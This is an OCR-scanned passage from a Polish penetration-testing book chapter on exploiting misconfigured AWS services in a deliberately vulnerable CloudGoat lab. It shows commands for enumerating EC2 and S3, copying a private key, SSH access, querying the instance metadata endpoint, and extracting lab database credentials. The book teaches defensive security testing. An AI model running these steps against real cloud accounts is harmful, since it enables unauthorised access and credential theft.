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Wykorzystywanie
podatnosci I luk

w zabezpieczeniach
chmury

Szybkie rozpowszechnienie ustug chmurowych znaczaco zmienito sposéb, w jaki firmy i organi-
zacje gromadza, przetwarzajg i przechowujg dane uzytkownikéw konicowych. Niektére
firmy automatycznie zakladaja, ze dostawcy chmury zadbaja o ich cyberbezpieczefistwo, ale kazdy
uzytkownik chmury, czy to osoba fizyczna, czy firma, musi by¢ §wiadomy, Ze jest to wspdlna
odpowiedzialno$¢. Co ciekawe, bardzo czesto zdarza sie, ze pentesterzy po uzyskaniu dostepu
do sieci wewnetrznej firmy sg przekonani, ze testy majg sie ku koricowi i ze mogg spokojnie
przystapi¢ do eksplorowania sieci Srodowiska celu.

W tym rozdziale oméwimy rézne rodzaje atakéw, ktére pentesterzy moga przeprowadzac
po zdobyciu przyczétku w srodowisku chmury. W szczegdlnoséci zajmiemy sie ustugami
chmurowymi AWS (ang. Amazon Web Services), zidentyfikujemy wiele proceséw pozwala-
jacych na obejscie kontroli bezpieczenistwa i pokazemy, jak to zrobi¢ przy uzyciu narzedzi
dostepnych w systemie Kali Linux.

W tym rozdziale oméwimy szereg tematéw zwigzanych z przeprowadzaniem atakéw na niepo-
prawnie skonfigurowane ustugi chmurowe, miedzy innymi nastepujace zagadnienia:
Podstawy korzystania z ustug w chmurze.

Wykrywanie i wykorzystywanie podatnosci i luk w zabezpieczeniach aplikacji
w instancjach EC2.
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Kali Linux i zaawansowane testy penetracyjne

Pozyskiwanie kluczy AWS TAM.
Testowanie niepoprawnej konfiguracji zasobnikéw Amazon S3 (ang. S3 bucket).
Wykorzystywanie bledéw w prawach dostepu.

Zaciemnianie logéw CloudTrail.

Omoéwimy réwniez podstawowe zasady dziatania ustug w chmurze oraz ré6zne modele ich
wdrazania.

Wprowadzenie do ustug chmurowych

Chmura obliczeniowa, ogélnie rzecz biorge, to udostepnianie konsumentom na zagdanie
ushug zwigzanych z zasobami obliczeniowymi, w szczegélnosci udostepnianie pamieci masowej
i mocy obliczeniowej. Gléwnymi cechami chmury obliczeniowej sa dostep na zadanie do zaso-
béw sieciowych, obstuga wielu podmiotéw, laczenie zasobow, elastycznosé, skalowalnosé
i mierzalno$é ustug. W tabeli 8.1 zamieszczamy szcezegoly dotyczace czterech modeli wdra-
zania oferowanych przez dostawcéw ustug w chmurze. Jezeli podatnosci i luki w zabezpie-
czeniach ktéregos z tych modeli wdrazania zostana pomyslnie wykorzystane i nawiazane zosta-
nie trwale polaczenie, pentester bedzie mégt je wykorzysta¢ do osiggniecia zatozonego celu.

Tabela 8.1. Modele wdrazania ustug chmurowych

Model wdrazania Opis

Chmura prywatna (ang. Infrastruktura chmury jest przeznaczona na wyfacznosc dla

private cloud) konkretnej organizacji; podobna do tradycyjnych centréw
danych, ale hostowana w chmurze.

Chmura Infrastruktura chmury jest wspoétdzielona dla okreslonej

spotecznosciowa (ang. spotfecznosci konsumentdéw z organizacji, ktére majg

community cloud) wspolne interesy.

Chmura publiczna Infrastruktura chmury, ktéra jest dostarczana dla ogétu

(ang. public cloud) uzytkownikéw koncowych.

Chmura hybrydowa Infrastruktura chmury, ktéra taczy w sobie dwa powyzsze

(ang. hybrid cloud) modele; zazwyczaj jest to potgczenie chmury prywatnej

i publicznej, chmury lokalnej i prywatnej lub chmury
lokalnej i publicznej.

Przed zaplanowaniem rodzaju testéw, jakie moga by¢ konieczne do przeprowadzenia w danym
$rodowisku klienta, powiniene$ poznadé kilka podstawowych modeli ustug w chmurze:

306
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Rozdziat 8. ¢ Wykorzystywanie podatnosci i luk w zabezpieczeniach chmury

Tabela 8.2. Modele ustug w chmurze

Model ustugi Opis

Oprogramowanie jako W tym modelu dostawca chmury dostarcza organizacjom
ustuga (SaaS — ang. oprogramowanie, za ktére ptacg w miare uptywu czasu.
Software as Service) Niektore przyktady dostawcow ustug w chmurze Saa$S

to Dropbox, G Suite, Microsoft Office 365, Slack i Citrix
Content Collaboration.

Platforma jako ustuga W tym modelu dostawca chmury dostarcza
(PaaS — ang. Platform as organizacjom zaréwno sprzet, jak i oprogramowanie.
Service) Przyktadami takich ustug sa AWS Elastic Beanstalk,

Heroku, Windows Azure (najczesciej uzywana jako
PaaS), Force.com, OpenShift i Apache Stratos.

Infrastruktura jako ustuga W tym modelu dostawca chmury dostarcza
(laaS — ang. Infrastructure organizacjom zasoby pamieci masowej, zasoby sieciowe
as Service) i rozwigzania wirtualizacyjne. Przyktadami takich ustug

sq Amazon Web Services EC2, Rackspace, Google
Compute Engine (GCE) i Digital Ocean.

Na rysunku 8.1 pokazano, jak zmienia sie odpowiedzialno$¢ za bezpieczenistwo w zalezno$ci
od modeli ustug.

Gtownie klient

za bezpieczenstwo

R
0
(o]
£
;0
N
o
3
=
o
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o

Saas Gtownie dostawca ustugi

Rysunek 8.1. Odpowiedzialno$¢ za bezpieczenstwo w réznych modelach ustug sieciowych

Poznale$ juz podstawowe pojecia zwigzane z ustugami w chmurze, zatem mozemy przystapié
do skonfigurowania naszego laboratorium AWS, w ktérym skonfigurujemy celowo podatne
instancje uslug. Zrobimy to przy uzyciu narzedzia CloudGoat AWS, ktére zainstalowali§my
w rozdziale 1., ,Testy penetracyjne ukierunkowane na osiagniecie celu”. Pamietaj, Ze korzystanie
z ustug AWS bedzie sie wiazato z dodatkowymi kosztami, nawet jezeli pakiet CloudGoat
pozostanie nieuzywany po wdrozeniu podatnych instancji. Dodatkowo zainstalowanie i skonfigu-
rowanie takich podatnych instancji otworzy Twojg infrastrukture chmury na rézne ataki.

Scenariusze atakéw na ustugi w chmurze rozpoczynajg sie od wstepnej fazy rekonesansu,
w ktérej napastnicy badajg dostepne repozytoria serwiséw takich jak GitHub, Pastebin i inne
lokalizacje wymiany i przechowywania danych srodowiska celu, z ktérych mogg potencjal-
nie pozyska¢ sekrety, klucze dostepu i inne wrazliwe informacje.
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Ponizej przedstawiono opcje programu CloudGoat pozwalajgce na skonfigurowanie i prze¢wicze-
nie atakéw specyficznych dla ustug AWS. Aby zrozumieé poszczegélne opcje, mozesz uruchomic
obraz Dockera przez wpisanie w oknie terminala polecenia docker run -it rhinosecuritylabs/
Cloudgoat:1atest. Kiedy na ekranie pojawi sie powloka CloudGoat, powiniene$ uruchomié w niej
polecenie . /cloudgoat help, co powinno wyswietli¢ pie¢ opcji pokazanych na rysunku 8.2.

bash-5.0# ./cloudgoat.py help
CloudGoat - https://github.com/RhinoSecuritylabs/cloudgoat

Command info:

config profile|whitelist|argcomplete [list]
create <scenario>

destroy <scenario>|all

list <scenario>|all

help <scenario>|<command>

Rysunek 8.2. Uruchamianie programu CloudGoat z poziomu obrazu Dockera

Jezeli podczas uruchamiania pojawig sie jakiekolwiek komunikaty o btedach zwigzanych
z pakietem Terraform, takie jak 0SError: [Errno 8] Exec format error: "terraform" (bfad
formatu) lub Terraform not found (pakiet Terraform nie zostat znaleziony), mozesz rozwigzac
ten problem w ponizszych krokach, przez zastgpienie domysinego pakietu Terraform
jego najnowsza wersja:
1.W oknie terminala uruchom polecenie wget https://releases.hashicorp.com/
terraform/1.0.10/terraform 1.0.10_1inux_amd64.zip.

2.Rozpakuj plik terraform_1.0.10_linux_amd64.zip.
3.Wykonaj polecenie mv /usr/bin/terraform terraform old.

4 Wykonaj polecenie mv terraform /usr/bin/.

Ponizej oméwimy pokrétce pierwsze cztery opcje:

config — opcja pozwala na zarzadzanie r6znymi aspektami instalacji pakietu

CloudGoat, w szczeg6lnosci ,,biatg lista” uprawnionych adreséw IP (ang. IP whitelist)

oraz naszym domyS$lnym profilem AWS:
whitelist — ze wzgledu na potencjalnie podatne na ataki zasoby wdrazane
w infrastrukturze AWS zawsze zaleca sie, aby umiescié na bialej liscie adres IP,
z ktérego beda przeprowadzane testy. Polecenie whitelist zapisuje adres IP
lub zakresy adres6w IP w pliku . /whitelist.txt w katalogu projektu bazowego.
Jezeli dodasz argument -auto, narzedzie to automatycznie wykona odpowiednie
zapytanie sieciowe. Aby odszuka¢ swéj adres 1P, wykonaj polecenie
curl ifconfig.co, a nastepnie utworz plik bialej listy i umies¢ w niej rezultat
dzialania tego polecenia.
profile — pakiet CloudGoat domyslnie bedzie wymagal recznego
skonfigurowania profilu AWS. Po uruchomieniu tego polecenia zostaniesz
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poproszony o podanie szczegolow profilu, takich jak sekret i klucz dostepu AWS.
Wprowadzone dane bedg przechowywane w pliku config.yml w katalogu
projektu. W razie potrzeby napastnik moze utworzy¢ wlasny plik config.yml.

create — jest to opcja, ktéra wdraza nowy scenariusz na konto AWS. Jezeli
sprébujesz dwukrotnie wdrozy¢ dany scenariusz, CloudGoat zniszczy istniejacy
scenariusz i zastapi go nowym.

1ist — ta opcja wySwietla wszystkie wdrozone scenariusze i scenariusze
niezainstalowane oraz pozwala na wy$wietlenie dodatkowych informacji
0 konkretnym wdrozonym scenariuszu.

destroy — powoduje wylgczenie i usuniecie wszystkich zasob6w, ktére zostaty
utworzone przez CloudGoat.

Aby skonfigurowa¢ pakiet CloudGoat dla okreslonego profilu powinienes w oknie terminala
uruchomié polecenie . /cloudgoat.py config profile <nazwa profilu>, tak jak pokazano w przy-
ktadzie ponizej:

./cloudgoat config profile masteringkali

Bardzo wazne jest, abys skonfigurowal zasoby AWS jako dostepne tylko dla adresu IP, z kt6-
rego bedziesz sie taczyt:
./cloudgoat.py config whitelist -auto

W nastepnej sekcji wdrozymy podatng na ataki aplikacje internetowa, a nastepnie sprébu-
jemy wykorzysta¢ jej podatnosci i luki w zabezpieczeniach do przeprowadzenia ataku na aplikacje
w AWS. Aby to zrobi¢, wykonaj najpierw polecenie . /cloudgoat create rce web app --profile
masteringkali. Spowoduje to rozpoczecie wdrazania przez CloudGoat odpowiednich zaso-
béw chmury na Twoje konto AWS. Po zakoficzeniu tego procesu powiniene$ zobaczyé potwier-
dzenie ze szczegbtami dostepu do chmury, jak pokazano na rysunku 8.3.

./cloudgoat.py create rce web_app --profile masteringkali

bash-5.0# ./cloudgoat.py create rce_web_app —-profile masteringkali

Loading whitelist.txt...

A whitelist.txt file was found that contains at least one valid IP address or ra
[

You already have an instance of rce_web_app deployed. Do you want to destroy and
recreate it (y) or cancel (n)? [y/nl: ¥y

No terraform.tfstate file was found in the scenario instance's terraform directo
ry, so "terraform destroy" will not be run.

Successfully destroyed rce_web_app_cgiddgzwz685u8.
Scenario instance files have been moved to /usr/src/cloudgoat/trash/rce_web_app_
cgiddgzwz605u8

Now running rce_web_app's start.sh...

Rysunek 8.3. Wdrazanie aplikacji rce_web_app za pomoca pakietu CloudGoat i naszego
profilu AWS
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Po pomy$lnym zakoriczeniu wdrazania aplikacji internetowej i zasob6w wspierajacych powinienes
zobaczy¢ podsumowanie podobne do przedstawionego na rysunku 8.4.

) changed, © destroyed.

[cloudgoat] terraform apply completed with no error code.
[cloudgoat] terraform output completed with no error code.

[cloudgoat] Output file written to:

fusr/src/cloudgoat/rce_web_app_cgid@inzhbthbc/start.txt

Rysunek 8.4. Wdrozenie podatnej na ataki aplikacji zakoniczyto sie pomysinie

Do przeprowadzenia testu penetracyjnego na wdrozonym scenariuszu mozesz wykorzystaé
Klucz dostepu i tajny klucz wygenerowany przez CloudGoat. W tradycyjnym podejsciu mozesz
teraz uzy¢ skaner6w podatnosci, takich jak Scout Suite lub Prowler.

Wykrywanie i wykorzystywanie
podatnosci i luk w zabezpieczeniach
aplikacji w instancjach EC2

Pierwszym krokiem jest zainstalowanie w systemie Kali Linux klienta AWS. Aby to zrobié,
powinienes$ w oknie terminala uruchomié polecenie sudo apt install awscli. Po zainstalowaniu
klienta mozemy wykorzystaé jego narzedzia do sprawdzenia uprawnien, jakie daje nam aktualne
API i tajny klucz.

Skonfiguruj profil AWS przez wykonanie w oknie terminala polecenia sudo aws configure
--profile <nazwa profilu>. W naszym przykladzie skonfigurujemy dwa profile:

1. W celach demonstracyjnych zmienimy sugerowang nazwe profilu Lara
(patrz rysunek 8.4) na RCE (ang. Remote Code Execution; zdalne wykonywanie kodu)
z kluczem dostepu i kluczem tajnym.

2. Utworzymy profil o nazwie mcduck zgodnie z sugestig CloudGoat z kluczami
wygenerowanymi podczas wdrazania scenariusza.

sudo aws configure --profile <nazwa profilu>
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Aby potwierdzi¢, ze nasze profile dzialaja, mozesz wyswietli¢ liste zasobnikéw Amazon S3
(ang. Simple Storage Service), do ktérych te profile majg dostep, ponizszym poleceniem.
Przyktadowe wyniki dzialania takiego polecenia pokazano na rysunku 8.5.
sudo aws s3 1s --profile <nazwa profilu>
~/cloud/cloudgoat |

ns s3 ls --profile RCE
2021-08-13 09:08:54 cg-keystore-s3-bucket-cgid@1lnzhbthbc

2021-08-13 09:08:54 cg-logs-s3-bucket-cgid@1nzhbthbc
0021-08-13 09:08:54 cg-secret-s3-bucket-cgid@1lnzhbthbc

Rysunek 8.5. Konfigurowanie profilu AWS w systemie Kali Linux

Pamietaj, ze aby szybko wyszukaé niepoprawne konfiguracje lub nadmiar uprawnien, mozesz wy-
korzystaé zautomatyzowane narzedzia, takie jak Scout Suite i Prowler. Program Scout Suite
to narzedzie typu open source do audytu bezpieczenstwa w chmurze, ktére dziata w srodo-
wiskach wielochmurowych, takich jak AWS, GCP i Azure. Warto wspomnie¢, ze narzedzie
to jest réwniez dostepne w fazie alfa dla chmur Oracle i Alibaba Cloud. Program jest napisany
w jezyku Python i wykorzystuje API do zbierania szczeg6téw konfiguracji i okreslenia po-
wierzchni ataku dla danego srodowiska chmurowego. Projekt jest aktywnie rozwijany przez
NCC Group, ktéra oferuje takze komercyjna wersje tego narzedzia. Scout mozna zainstalo-
waé w systemie Kali Linux przez sklonowanie repozytorium i zainstalowanie zalezno$ci.
Aby to zrobié¢, powiniene$ w oknie terminala uruchomié nastepujaca sekwencje polecen:

sudo git clone https://github.com/nccgroup/ScoutSuite
cd ScoutSuite

sudo pip3 install -r requirements.txt

sudo ./setup.py install

sudo scout aws --profile <nazwa profilu>

Rysunek 8.6 przedstawia uruchomienie narzedzia do audytu bezpieczenistwa Scout w AWS
przy uzyciu wybranego profilu.

~/cloud/prowler

aws f RCE
Launching Scout
Authenticating to cloud provider
Gathering data from APIs
Fetching resources for the ACM service
Fetching resources for the Lambda service
Fetching resources for the CloudFormation service
Fetching resources for the CloudTrail service
Fetching resources for the Cloudwatch service
Fetching resources for the Config service
Fetching resources for the Direct Connect service
Fetching resources for the DynameDB service
Fetching resources for the EC2 service
Fetching resources for the EFS service
Fetching resources for the ElastiCache service
Fetching resources for the ELB service
Fetching resources for the ELBv2 service

Rysunek 8.6. Uruchamianie programu Scout w AWS
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Po zakoriczeniu skanowania Scout tworzy wynikowy raport HTML w tym samym folderze,
w ktérym zostal uruchomiony. Po wy$wietleniu raportu mozesz przeglada¢ bledne konfiguracje
i wykryte podatno$ci zwigzane z profilem, ktéry zostal przeskanowany. Wyglad przyktado-
wego raportu jest pokazany na rysunku 8.7.

¢ U file

ur X Kali Training 3¢ Ka

¥}

0 1AM 0 36 4 4
EMS. (1] 1 o 0
RDS 0 8 o 0
RedShift o & o 0
Route53 o 3 o [+]
s3 3 18 3 15

5 ]

SES ] 4 o o
SNS [ 7 o 0
sQs (1] 7 L] 1]
VPC 0 9 [ [}

Rysunek 8.7. Przyktadowe wyniki dziatania programu Scout

W kolejnych sekejach raportu znajdziesz szezegélowe informacje o instancji AWS oraz wska-
z6wki, na czym powinienes sie skupié, jak pokazano na rysunku 8.8.

IAM Dashboard

Show All

Minimum Password Length Too Short

Password Expiration Disabled

@ o @

Password Policy Allows the Reuse of Passwords

Passwords Expire after 30 Days

Rysunek 8.8. Sekcja IAM w wynikach dziatania programu Scout
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Prowler to kolejne narzedzie zaprojektowane specjalnie do skanowania chmurowych ustug
AWS, pozwalajace przeprowadzi¢ kontrole pod katem najlepszych praktyk bezpieczefistwa
we wszystkich regionach i grupach AWS. Program ma wbudowane predefiniowane mapowanie
réznych wzorcéw i standardéw bezpieczenistwa, takich jak CIS, GDPR, HIPAA, PCI-DSS,
ISO-27001, FFIEC i SOC2. Zaprojektowano go jako polaczenie wielu skryptéw powtoki
Bash, ktére na poziomie biezacych uprawnieni uzytkownika wykonujg szereg testow skonfi-
gurowanego wezesniej profilu ustug chmurowych. Program mozna zainstalowa¢ w systemie
Kali Linux przez sklonowanie repozytorium. Aby to zrobié, powiniene§ w oknie terminala
wykonaé nastepujaca sekwencje polecen:

sudo git clone https://github.com/toniblyx/prowler

cd prowler

Najnowsza wersja programu Prowler nosi numer 2.5.0. Aby uruchomi¢ program i rozpoczaé
skanowanie, powiniene$§ w oknie terminala wykona¢ polecenie sudo ./prowler -p <nazwa
profilu>, jak pokazano na rysunku 8.9.

=/cloud/prowl
maste

results:

one uppercase let

[checkl6] Ensure IAM p: quire at least one letter - dan

Rysunek 8.9. Uruchamianie programu Prowler w systemie Kali Linux

Na stronie hitps://www.bluematador.com/learnjaws-cli-cheatsheet znajdziesz zestawienie dostep-
nych polecen konsolowych wraz z przykladami wywolania.

Aby sprawdzi¢ liste instancji, ktére sa dostepne dla naszego nowo utworzonego profilu RCE,
powinienes w oknie terminala wykonaé nastepujace polecenie:

sudo aws ec2 describe-instances --profile <nazwa profilu>
Na ekranie powinny zosta¢ wyswietlone szczegétowe informacje o instancji, jak pokazano

na rysunku 8.10, wraz z danymi dotyczacymi publicznego i wewnetrznego adresu IP:
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[~fcloud]
ws ec2 describe-instances

"Reservations®: [
{
"Groups”: [1,
"Instances": [

{

"AmiLaunchIndex": 0,

"ImageId": "ami-@a313d6@98716f372",
"InstanceId”: "1-093efec748d3429el”,
"InstanceType": "t2.micro”,

"KeyName": "cg-ec2-key-pair-cgidjlSbitmy30",
"LaunchTime": "2@21-08-15T10:087:56.000Z",
"Monitoring”: {

"State”: "disabled”
b
"Placement”: {
“AvailabilityZone™: ~“us-east-l1a”,
"GroupName": "",
"Tenancy": "default”
H
"PrivateDnsName": "ip-10-0-18-83.ec2.internal”,
"PrivatelpAddress”: "10.0.10.83",
"ProductCodes”: [],
"PublicDnsName": "ec2-44-196-47-162.compute-1.amazonaws.com”,
"PublicIpAddress”: "44.196.47.162",
"State": {
"Code": 16
"Name": "running”

Rysunek 8.10. Szczego6towe informacje o instancji AWS

W szczegoétowych informacjach o instancji (na rysunku 8.10 pokazano jedynie ich niewielki
fragment) mozemy zobaczyé¢, ze publiczny adres IP jest skonfigurowany dla okreslonych
grup zabezpieczen. Jezeli odszukasz na liscie opcje RootDeviceType, przekonasz sie, Ze ma ona
warto§¢ ebs, co oznacza, ze adres IP nie jest publicznie dostepny.

W nastepnym kroku mozesz sprawdzié, jakie systemy réwnowazenia obcigzenia (ang. load balan-
cers) sg skonfigurowane dla tej ustugi. Aby to zrobi¢, powiniene$ w oknie terminala wykona¢
polecenie sudo aws elbv2 describe-load-balancers --profile RCE:

sudo aws elbv2 describe-load-balancers --profile <nazwa profilu>
Wyniki dziatania tego polecenia zawierajg informacje o systemach réwnowazenia obcigzenia EC2
wraz z nazwami DNS, tak jak pokazano na rysunku 8.11.
Teraz mozemy juz dotrze¢ do systemu réwnowazenia obcigzenia, jak pokazano na rysunku 8.12.

Nastepnym krokiem bedzie okreslenie, co jeszcze jest dostepne.

Nastepnie musimy odszukaé uprawnienia naszego profilu w obrebie zasobnika Amazon S3.
W tym celu nalezy uruchomi¢ w oknie terminala polecenie sudo aws s3 1s - profile RCE.
W naszym przykladzie profil ten ma dostep tylko do katalogu logs w obrebie zasobnika S3,
jak pokazano na rysunku 8.13.
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~fcloud

elbv? descr

Rysunek 8.11. Wyswietlanie szczegétowych informacji o systemach réwnowazenia
obcigzenia EC2

o Kali Linux % Kali Training % Kali Tools # Kali Forums # Kali Docs & MetHunter Offel writ - it-DB &~ GHDB

"Gold-Star" Executive Interstellar Travel Rewards
Welcome, fellow travellers!

It you are already an approved member of the "Gold-Star” Executive Inersiellar Travel Rewards program, please visit the secret URL which is included in
the instructions in the welcome letter you received by post.

1f you are not an approved member, please feel free 1o seek out one of our kiosks and submit an application for membership. Do note that 3 references, a
non-refundable application fee of 50,000 credits, and DNA samples are all mandatory.

Rysunek 8.12. Publiczny adres DNS systemu réwnowazenia obcigzenia

~/cloud
ls —r

RCE

5¥2 operation: A

tile RCE

operation:

Rysunek 8.13. Dostep do zasobnika S3 z poziomu profilu RCE

315

Kup ksigzke Pole¢ ksigzke


https://helion.pl/rf/kalit4
https://helion.pl/rt/kalit4

Kali Linux i zaawansowane testy penetracyjne

Aby wyswietli¢ zawartosé katalogu logs w zasobniku S3, powiniene$ w oknie terminala wykonaé
polecenie sudo aws s3 1s s3://<zasobnik/Sciezka_pliku> --profile --region us-east-1.
Aby skopiowaé wybrany plik, mozesz w oknie terminala wykona¢ polecenie pokazane ponizej.
Przyklad takiej operacji pokazano na rysunku 8.14.

sudo aws s3 cp s3://<zasobnik/Sciezka pliku>. --profile <nazwa profilu> --region us-east-1

Rysunek 8.14. Kopiowaniu pliku logu z zasobnika S3

Analizujac plik dziennika, mozemy stwierdzié, ze jest tam zapisanych wiele zadan (wraz
z ich kodem HTML), ktére otrzymaty od serwera odpowiedz HTTP 200 OK, jak pokazano
na rysunku 8.15.

Rysunek 8.15. Analizowanie logéw oraz identyfikacja adresow URI

Kolejna préoba dostepu do adresu URL przenosi nas na strone formularza podatnego na zdalne
wykonanie kodu, dzieki ktéremu mozemy uruchomié polecenie na serwerze, tak jak to zostalo
pokazane na rysunku 8.16.

Udalo nam sie przeprowadzi¢ zdalne wykonanie kodu w aplikacji internetowej przez wykorzy-
stanie istniejgcych uprawnien do przegladania instancji, konfiguracji systeméw réwnowazenia
obciazenia oraz analizy plikéw, ktére byly dostepne w zasobniku Amazon S3. Wyprébujemy
teraz inny profil (ncduck), aby zrozumied, jak mozemy przejaé instancje EC2 dzialajaca w ramach
ushugi AWS. Aby wyswietli¢ szczegétowe informacje o instancji, powinienes w oknie terminala
wykona¢ polecenie sudo aws ec2 describe-instances --profile mcduck --region us-east-1,
jak pokazano na rysunku 8.17.

W wynikach dzialania tego polecenia znajdziemy szczegétowe informacje o instancji wraz
z jej identyfikatorem imageID i lokalizacja. Oprécz tego mozemy tam znalezé publiczny adres TP
i nazwe DNS instancji wraz ze wszystkimi szczegétami dotyczacymi sieci i podsieci, jak
pokazano na rysunku 8.18.
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"Gold-5tar” bx

= c W

o KaliLin: & Kali raining & Kz

"Gold-Star” Executie Usr Sgnup

Run your persoralzed login command balow:

Run Signup Command
Input:

curl ifcontig.co

QOutput:

44,195 . 47 162

Rysunek 8.16. Pomysina préba zdalnego wykonania polecenia na serwerze

ec2 describe-instances mcduck us-east-1

"Reservations": [
i F
L

"Groups": [1,
"Instances": [

"AmiLaunchIndex": 0@,
"ImageId"”: "ami-@a313d6098716f372°,
"InstancelId": "i-06e30bb98b5d56bb7",
"InstanceType": "t2.micro",
"KeyName": "cg-ec2-key-pair-cgid@inzhbthbc",
“LaunchTime": "2021-08-13T13:13:39.000Z",
"Monitoring": {

"State": "disabled"”
1
5
"Placement”: {

"AvailabilityZone": "us-east-1a",

Rysunek 8.17. Identyfikacja instancji w profilu mcduck

"Tenancy”": "default”

}

'
’rivateDnsName": "ip-10-0-10-198.ec2.internal”,
"PrivateIpAddress”: "10.0.10.198

"ProductCode

"PublicDnsh - 8-142-0.compute-1.amazonaws.com”,
"PublicIpAdd -t 142

"State

"Name": "running”

be

StateTransitionReason”
"SubnetId”: "subnet-0959fd

Rysunek 8.18. Identyfikacja publicznego adresu IP oraz nazwy DNS instancji
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Majac publiczny adres IP instancji, mozesz teraz sprawdzi¢ wiele kluczowych informacji,
ktére moga by¢ dostepne w obrebie zasobnikéw S3. Aby sprawdzi¢, jakie zasobniki S3 sa do-
stepne, przejdz do okna terminala i wykonaj polecenie sudo aws s3 1s --profile --region
us-east-1. Aby skopiowa¢ folder, wykonaj polecenie sudo aws s3 cp s3://zasobnik/
Sciezka/ ./ keys --profile mcduck --region us-east-1, jak pokazano na rysunku 8.19.

sudo aws s3 cp s3://<zasobnik>/<folder>/ .< folder wyjsciowy> --profile <nazwa profilu>

[~/cloud ]
ws s3 1s meduck us-east-1
2021-88-15 @6:03:38 cg-keystore-s3-bucket-cgidjl5bitmy3@
2021-08-15 06:03:38 cg-logs-s3-bucket-cgidjlsbitmy30
2021-08-15 06:03:38 cg-secret-s3-bucket-cgidjl5bitmy30

)~ ~/cloud
D 3 53 ls s3://cg-keystore-s3-bucket-cgidjl5bitmy30
2021-08-15 06:03:45 3381 cloudgoat
2021-88-15 06:03:45 743 cloudgoat.pub

)~[~/cloud]
s3 1s s3://cg-logs-s3-bucket-cgidjlsbitmy3@ mcduck us-east-1

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

)=[~/cloud ]
53 1s s3://cg-secret-s3-bucket-cgidjl5bitmy3@ mcduck us-east-1

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

Rysunek 8.19. Dostep do zasobnika S3 z poziomu profilu mcduck

Nasz przykladowy profil ma dostep do magazynu kluczy, skad udalo nam sie skopiowaé
klucz publiczny i prywatny do naszego lokalnego systemu Kali Linux. Nastepnym, dosy¢
oczywistym krokiem jest zmiana uprawnien pliku klucza prywatnego poleceniem sudo chmod 400
cloudgoat, a nastepnie zalogowanie sie w bezpiecznej sesji do instancji EC2 bezposrednio
przez uruchomienie w oknie terminala polecenia ssh -i cloudgoat ubuntu@publicznyAdresIP,
jak pokazano na rysunku 8.20.

sudo chmod 400 privatekey
sudo ssh -i privatekey Ubuntu@publiczna_nazwa DNS_instancji_EC2

~/cloud/cloudgoat
400 cloudgoat

~/cloud/cloudgoat
cloudgoat ubunt

y of host fy mpL 1.amaz . 1 (3.2 142.@)" can't be established.

' (ECDSA) to the list o

Welcome Tn Ubuntu 18.04.

Rysunek 8.20. Logowanie do instancji AWS z wykorzystaniem pozyskanego klucza
prywatnego
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Teraz mamy juz bezposredni, wewnetrzny dostep do instancji Ubuntu EC2, zatem mozemy
sprobowad polaczy¢ sie z ustuga metadanych poprzez bezposredni dostep z konsoli systemu
zdalnego do adresu http://169.254.169.254/latest/user-data, tak jak to zostalo pokazane
na rysunku 8.21.

curl http://169.254.169.254/1atest/user-data

$ curl htt 54.169.254/1atest/user-data

xne7uvlpiv.us-east

) NOT NULL
us-east-1.

/home /ubunt

/app/index 1% % % * % root ep 50; node /home/ubuntu/app/index.js

Rysunek 8.21. Dostep do ustugi metadanych wewnatrz instancji EC2

Préba zalogowania sie do bazy danych postgresql za posrednictwem konta uzytkownika i hasta
w celu pozyskania poufnych haset moze wygladaé tak, jak pokazano na rysunku 8.22.

psql postgresql://cgadmin:Purplepwny2029@<instancja>:5432/cloudgoat
\dt
select * from sensitive_information

instance-cgid@lnzhbthbc.cgkne

, compression: off)

List of relations
Name
—

cloudgoat= \quit

Rysunek 8.22. Pomysine potaczenie z bazg danych i dostep do zapisanych w niej haset
Mozemy teraz sprawdzic, jakie zasobniki S3 sg dostepne w tej instancji EC2. Zanim uzyskasz

dostep do zasobnikéw, upewnij sie, ze w Twwoim systemie Ubuntu zainstalowany jest klient
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awscli. Aby to zrobié, w oknie terminala uruchom polecenie sudo apt-get install awscli,
a nastepnie wy$wietl liste zasobnikéw przez wykonanie ponizszej sekwencji poleceni. Przyktad
takiej sekwencji jest pokazany na rysunku 8.23.

sudo aws s3 1s
sudo aws s3 1s s3://cg-secret-s3-bucket-cgid<identyfikator> --recursive

aws s3 cp s3://cg-secret-s3-bucket-cgidzay5e3vgsr/db.txt .
cat db.txt

buntugip-10- ):~% sudo aws s3 ls
2021-08-15 13:01:54 cg-keystore-s3-bucket-cgid29j668w769
2021-08-15 1
2021-08-15 13: cg-secret-s3-bucket-cgid29j668w769
:~% sudo aws s3 ls s3://cg-keystore-s3-bucket-cgid29j668w769
3381 cloudgoat
743 cloudgoat.pub
59:~% sudo aws s3 ls s3://cg-secret-s3-bucket-cgid29j668w769
282 db.txt
:~$ sudo aws s3 1s s3://cg-logs-s3-bucket-cgid29j668w769

PRE cg-lb-logs/
$
69:~% sudo aws s3 cp s3://cg-secret-s3-bucket-cgid29j668w769/db.txt
-secret-s3-bucket-cgid29j668w769/db.txt to ./db.txt
) 69:~% cat db.txt
mas - For the LAST TIME, here are the database credentials. Save them to your
breach of our security policies!!!!

DB name: cloudgoat
Username: cgadmin
Password: Purplepwny2029

Sincerely,
Larau

Rysunek 8.23. Pozyskiwanie poufnych informacji o bazie danych z zasobnika S3

Ostatnim waznym krokiem jest usuniecie uzywanej konfiguracji. Aby to zrobi¢, wréé do konsoli
obrazu CloudGoat Docker i uruchom polecenie ./cloudgoat.py destroy all. Na ekranie po-
winno sie pojawié potwierdzenie, jak pokazano na rysunku 8.24.

[cloudgoat] terraform destroy completed with no error code.

Successfully destroyed rce_web_app.
Scenario instance files have been moved to /fusr/src/cloudgoat/trash/rce_web_app

cgid297668w769

Destruction complete.
1 scenarios successfully destroyed
@ destroys failed
P skipped

Rysunek 8.24. Usuniecie konfiguracji aplikacji rce_web_app z poziomu pakietu CloudGoat
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W tej sekeji zbadalismy bledng konfiguracje zabezpieczen i podatne na ataki aplikacje internetowe
w ramach ustugi AWS. W nastepnym podrozdziale poznasz rézne metodyki dzialania, kt6-
rych mozesz uzy¢ do wykorzystywania podatnosci i luk w zabezpieczeniach zasobnikéw S3.

Testowanie btednej konfiguracji
zasobnikow S3

Zasobniki S3 sg zwykle uzywane przez organizacje do przechowywania dokumentéw, kodu,
przesytania plikéw itd. Takie zasobniki moga by¢ publiczne lub prywatne. Kiedy zasobnik S3
jest publiczny, wszyscy uzytkownicy moga wymienia¢ zawarto$é, a kiedy prywatny, dostep
do jego zawarto$ci ma tylko wybrana grupa uzytkownikéw. Co ciekawe, informacje o wyciekach
